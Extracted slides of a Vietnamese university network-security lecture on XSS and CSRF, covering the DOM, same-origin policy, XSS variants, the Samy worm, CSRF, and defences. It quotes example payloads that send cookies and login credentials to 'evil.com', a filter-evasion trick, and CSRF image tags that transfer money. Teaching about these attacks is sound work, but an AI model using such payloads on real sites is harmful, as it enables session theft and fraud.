An ninh mạng - Bài 7: An toàn dịch vụ web xss & csrf
Hiển trị (rendering) nội dung trang web
• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1
frame:
Nhận thông điệp HTTP Response
Hiển thị:
Xử lý mã HTML, CSS, Javascripts
Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có)
Bắt và xử lý sự kiện
• Các sự kiện có thể xảy ra:
Sự kiện của người dùng: OnClick, OnMouseOver
Sự kiện khi hiển thị: OnLoad, OnBeforeUnload
Theo thời gian: setTimeout(), clearTimeout()
Trang 1
Trang 2
Trang 3
Trang 4
Trang 5
Trang 6
Trang 7
Trang 8
Trang 9
Trang 10
Tải về để xem bản đầy đủ
Bạn đang xem 10 trang mẫu của tài liệu "An ninh mạng - Bài 7: An toàn dịch vụ web xss & csrf", để tải tài liệu gốc về máy hãy click vào nút Download ở trên
Tóm tắt nội dung tài liệu: An ninh mạng - Bài 7: An toàn dịch vụ web xss & csrf
1BÀI 7. AN TOÀN DỊCH VỤ WEB XSS & CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 1 Nội dung • Xử lý trang web tại trình duyệt • XSS • CSRF 2 CuuDuongThanCong.com https://fb.com/tailieudientucntt 21. XỬ LÝ TẠI TRÌNH DUYỆT Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 3 Tương tác trình duyệt Web-Web server 4 HTTP Request(GET, POST, HEAD, PUT) Database Queries HTTP Response(HTML Page, JS file, CSS file, image, ...) Hiển thị CuuDuongThanCong.com https://fb.com/tailieudientucntt 3Hiển trị (rendering) nội dung trang web • Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1 frame: Nhận thông điệp HTTP Response Hiển thị: Xử lý mã HTML, CSS, Javascripts Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có) Bắt và xử lý sự kiện • Các sự kiện có thể xảy ra: Sự kiện của người dùng: OnClick, OnMouseOver Sự kiện khi hiển thị: OnLoad, OnBeforeUnload Theo thời gian: setTimeout(), clearTimeout() 5 Ví dụ 6 My First Web Page My first paragraph. Try it CuuDuongThanCong.com https://fb.com/tailieudientucntt 4Document Object Model(DOM) • Tổ chức các đối tượng của trang HTML thành cấu trúc cây • Cung cấp API (hướng đối tượng)để tương tác • Ví dụ: Thuộc tính: document.alinkColor, document.URL, document.forms[ ], document.links[ ] Phương thức: document.write() • Bao gồm cả đối tượng của trình duyệt(Browser Object Model - BOM): window, document, frames[], history, location 7 DOM – Ví dụ 8 document head body title a Alice Example ... Alice ... CuuDuongThanCong.com https://fb.com/tailieudientucntt 5DOM – Ví dụ khác 9 ... flip = 0; function flipText() { var x = document.getElementById('myid').firstChild; if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;} else { x.nodeValue = 'Alice'; flip = 0; } } <a id="myid" href="javascript:flipText()"> Alice document head body a Alice script flipText Javascript • Ngôn ngữ cho phép xây dựng các script để trình duyệt thực thi • Được nhúng vào các trang web mà server trả về cho client • Thường sử dụng để tương tác với DOM • Khả năng tương tác rất mạnh: Thay đổi nội dung trang web Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của người dùng: rê chuột, nhấp chuột, gõ phím) Đọc, thiết lập cookie Sinh các HTTP Request khác và đọc HTTP Response trả về 10 CuuDuongThanCong.com https://fb.com/tailieudientucntt 6Chính sách cùng nguồn(SOP) • Same Origin Policy • Chính sách sử dụng trên trình duyệt Web • Nguồn = Giao thức + Hostname + Cổng ứng dụng • Chính sách SOP: Trang web của nguồn này không được phép đọc, thay đổi nội dung trang web của nguồn khác cách ly các trang web khác nguồn 11 A A B B A Compared URL Outcome httpː//www.example.com/dir/page2.html Success httpː//www.example.com/dir2/other.html Success httpː//username:password@www.example.com/dir2/other.html Success httpː//www.example.com:81/dir/other.html Failure https://www.example.com/dir/other.html Failure Failure Failure Failure httpː//www.example.com:80/dir/other.html Depends SOP – Ví dụ 12 Kiểm tra khả năng truy cập từ CuuDuongThanCong.com https://fb.com/tailieudientucntt 72. TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS) Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 13 Tấn công XSS (Cross Site Scripting) • Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên thông điệp HTTP Response • Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP Response chứa mã độc này. • Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc nằm trong thông điệp HTTP Response nhận được từ web server • Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF • Các phương phép chèn mã thực thi: Reflected XSS Stored XSS DOM-based XSS 14 CuuDuongThanCong.com https://fb.com/tailieudientucntt 8Tấn công Reflected XSS 15 Attack Server Victim Server(5) Trình duyệt thực thi mã độc Victim Server evil.com victim.com Tấn công Reflected XSS - Ví dụ • Giả sử trên website của mục tiêu cung cấp tính năng tìm kiếm. • Đoạn mã thực thi trên server như sau: 16 Search Results Results for : . . . CuuDuongThanCong.com https://fb.com/tailieudientucntt 9Tấn công Reflected XSS - Ví dụ (tiếp) • Người dùng tải một trang web từ server của kẻ tấn công chưa đường dẫn sau document.location=‘’+ document.cookie) • Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên? 17 18 term=%3Cscript%3Edocument.location=‘evil. com/’ +document.cookie;%3C/script%3E “Check out this link!” victim.comevil.com m.com/search.ph p? term=%3Cscript %3Edocument.loc ation=‘evil.com/’ +document.cookie ;%3C/script%3EHTTP Response chứa mã thực thi đã truyền qua giá trị đầu vào evil.com/f9geiv33knv141 Session token của người dùng trên victim.com CuuDuongThanCong.com https://fb.com/tailieudientucntt 10 Tấn công Stored XSS 19 evil.com bank.com Attack Browser/Server (1)Chèn mã độc vào CSDL của mục tiêu (4)Trình duyệt thực thi mã độc 20 Posts comment with text: document.location = “evil.com/” + document.cookie victim.com evil.com evil.com/f9geiv33knv141 Session token của người dùng trên victim.com Comment with text: document.location = “evil.com/” + document.cookie CuuDuongThanCong.com https://fb.com/tailieudientucntt 11 Tấn công Stored XSS – Ví dụ • Tấn công vào myspace.com năm 2007 để phát tán sâu Samy • Myspace cho phép người dùng đăng bài dưới dạng mã HTML: Kiểm soát, không cho phép nhúng Javascript vào các thẻ , , onclick, Nhưng không kiểm soát việc nhúng vào thẻ CSS: Hoặc ẩn từ khóa “javascript” thành “java\nscript” • Khi sâu Samy được thực thi, tài khoản người dùng tự động kết bạn với tài khoản có tên Samy Trong 24 giờ, Samy có hàng triệu bạn bè 21 Tấn công DOM-based XSS • Lỗ hổng: trình duyệt được phép thực thi script được nhúng trong đối tượng DOM của trang web đang hiển thị • Không thể phát hiện được tại server 22 CuuDuongThanCong.com https://fb.com/tailieudientucntt 12 DOM-based XSS - Ví dụ • Trang có lỗ hổng • Yêu cầu thông thường • Nhúng mã thực thi alert(document.cookie) 23 Welcome! Hi var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,document.URL.l ength)); Phòng chống tấn công XSS phía server • Open Web Application Security Project (OWASP) • Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các trường ẩn • Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng chủ động (active content) • Nên sử dụng các chính sách dạng “positive” liệt kê những đối tượng, hành vi được phép, thay vì các chính sách dạng “negative” • Kiểm tra giá trị đầu vào do client cung cấp • Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với chuỗi đầu ra. Ví dụ dùng < cho ‘’, " cho “... 24 CuuDuongThanCong.com https://fb.com/tailieudientucntt 13 Chú ý: Mã Javascript có thể chèn vào nhiều vị trí khác nhau trên trang web • Sử dụng mã Javascript như một URI • Chèn mã Javascript vào các thuộc tính của phương thức xử lý sự kiện (OnSubmit, OnError, OnLoad, ) • Một số ví dụ: action="logon.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=' ms(1).login.value'+':'+ document.forms(1).password.value;" 25 Phòng chống XSS phía server • Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký tự nhạy cảm: Hãy cẩn thận với các mẹo vượt qua bộ lọc Hãy lọc nhiều lần cho tới khi loại hết các từ khóa Ví dụ: lọc 1 lần chuỗi <script <script src = “...” src = “...” Nhưng <scr<scriptipt src = “...” <script src = “...” • Một số công cụ khác: Dynamic Data Tainting, Static Analysis 26 CuuDuongThanCong.com https://fb.com/tailieudientucntt 14 Phòng chống tấn công XSS phía server • https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch eat_Sheet • https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip ting)_Prevention_Cheat_Sheet • https://www.owasp.org/index.php/DOM_based_XSS_Prev ention_Cheat_Sheet 27 3. TẤN CÔNG DẠNG CROSS SITE REQUEST FORGERY Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 28 CuuDuongThanCong.com https://fb.com/tailieudientucntt 15 Tấn công CSRF • Lợi dụng hiệu ứng bên (side effect) để tạo ra các HTTP Request giả mạo. Hiệu ứng bên (side effect): trong quá trình hiển thị (render) trang web, trình duyệt có thể tự động truy cập đến tài nguyên những liên kết khác mà không được kiểm soát. Ví dụ: <img height=0″ width=”0″ src=” account=bob_id&amount=1000000&for=Alie_ id”/> • Thường kết hợp khai thác các lỗ hổng không kiểm soát việc lưu giữ và truy cập cookie trên trình duyệt • Lưu ý: tấn công CSRF khác tấn công XSS 29 Tấn công CSRF – Ví dụ • Người dùng đăng nhập trên website bank.com và thực hiện một giao dịch chuyển tiền Trình duyệt lưu cookie của phiên làm việc(gồm các thông tin người dùng đã xác thực với ngân hàng) • Người dùng truy cập vào một trang web chứa đoạn mã độc(Ví dụ attacker.com): • Khi hiển thị trang web, trình duyệt tạo một HTTP Request với cookie ở trên để thực thi giao dịch chuyển tiền cho attacker 30 document.F.submit(); CuuDuongThanCong.com https://fb.com/tailieudientucntt 16 Tấn công CSRF – Ví dụ 31 bank.com evil.com Xác thực với bank.com /transfer?amount=500&dest=Bob Kiểm tra session token Chuyển $500 tới Bob Tấn công CSRF – Ví dụ 32 bank.com evil.com /transfer?amount=10000&dest=evilcorp Kiểm tra session token Gửi $10000 tới EvilCorp <img src=“ transfer?amount=10000&id=evilcorp”> $10000 CuuDuongThanCong.com https://fb.com/tailieudientucntt 17 Tấn công CSRF – Ví dụ • “Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan, Markus Jakobsson, ICICS'07 • Các thiết bị router phục vụ cho gia đình/văn phòng nhỏ cho phép cấu hình qua giao diện Web Người dùng cần đăng nhập. Tuy nhiên hầu hết dùng tài khoản mặc định của nhà sản xuất • Tấn công Drive-by Pharming: Người dùng truy cập vào website chứa mã độc Một Javascript quét và tìm địa chỉ router Sử dụng Javascript để phát hiện hãng sản xuất và tên sản phẩm (thường thể hiện qua logo) Login và sửa thông số cấu hình qua phương thức GET trên URL 33 Phòng chống tấn công CSRF phía server • Kiểm tra nguồn sinh request qua trường Referer trong tiêu đề thông điệp HTTP. Referer: Hạn chế: lộ thông tin thói quen của người dùng • Khắc phục: Sử dụng trường Origin Origin: • Sử dụng XMLHttpRequest API Phương thức setRequestHeader cho phép thêm 1 trường bất kỳ trong tiêu đề HTTP Request Ví dụ: thư viện prototype.js của JavaScript sử dụng X- Requested-By • Sử dụng xác thực đa yếu tố, capcha, secret token 34 CuuDuongThanCong.com https://fb.com/tailieudientucntt 18 Phòng chống tấn công CSRF phía server • https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet • https://www.owasp.org/index.php/Reviewing_code_for_Cr oss-Site_Request_Forgery_issues 35 Tổng kết • Command Injection: Chèn mã độc vào giá trị đầu vào để thực thi trên server • SQL Injection: Chèn truy vấn SQL vào giá trị đầu vào để truy cập CSDL trái phép trên server • CSRF: Lợi dụng hiệu ứng bên (site effect) để gửi các HTTP Request độc hại từ trình duyệt của người dùng • XSS Chèn mã độc vào giá trị đầu vào và lợi dụng kết quả server trả về để thực thi trên client 36 CuuDuongThanCong.com https://fb.com/tailieudientucntt 19 Một số biện pháp phòng chống trên web server • Kiểm tra cẩn thận HTTP header, cookie, thẻ bài • Kiểm tra cẩn thận giá trị đầu vào, kết quả trả về • Sử dụng các công cụ kiểm thử black box • Sử dụng các công cụ quét mã độc: Google Analytic, Norton Safe Web... • Theo dõi và cập nhật đầy đủ các bản vá bảo mật • Sử dụng firewall dịch vụ web: Apache Mod Security, Imperva SecureSphere Web Application Firewall, Check Point Web Security 37 Người dùng được bảo vệ như thế nào? 38 CuuDuongThanCong.com https://fb.com/tailieudientucntt 20 Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài giảng: • Computer and Network Security, Stanford University • Computer Security, Berkeley University • Introduction to Computer Security, Carnegie Mellon University 39 CuuDuongThanCong.com https://fb.com/tailieudientucntt
File đính kèm:
- an_ninh_mang_bai_7_an_toan_dich_vu_web_xss_csrf.pdf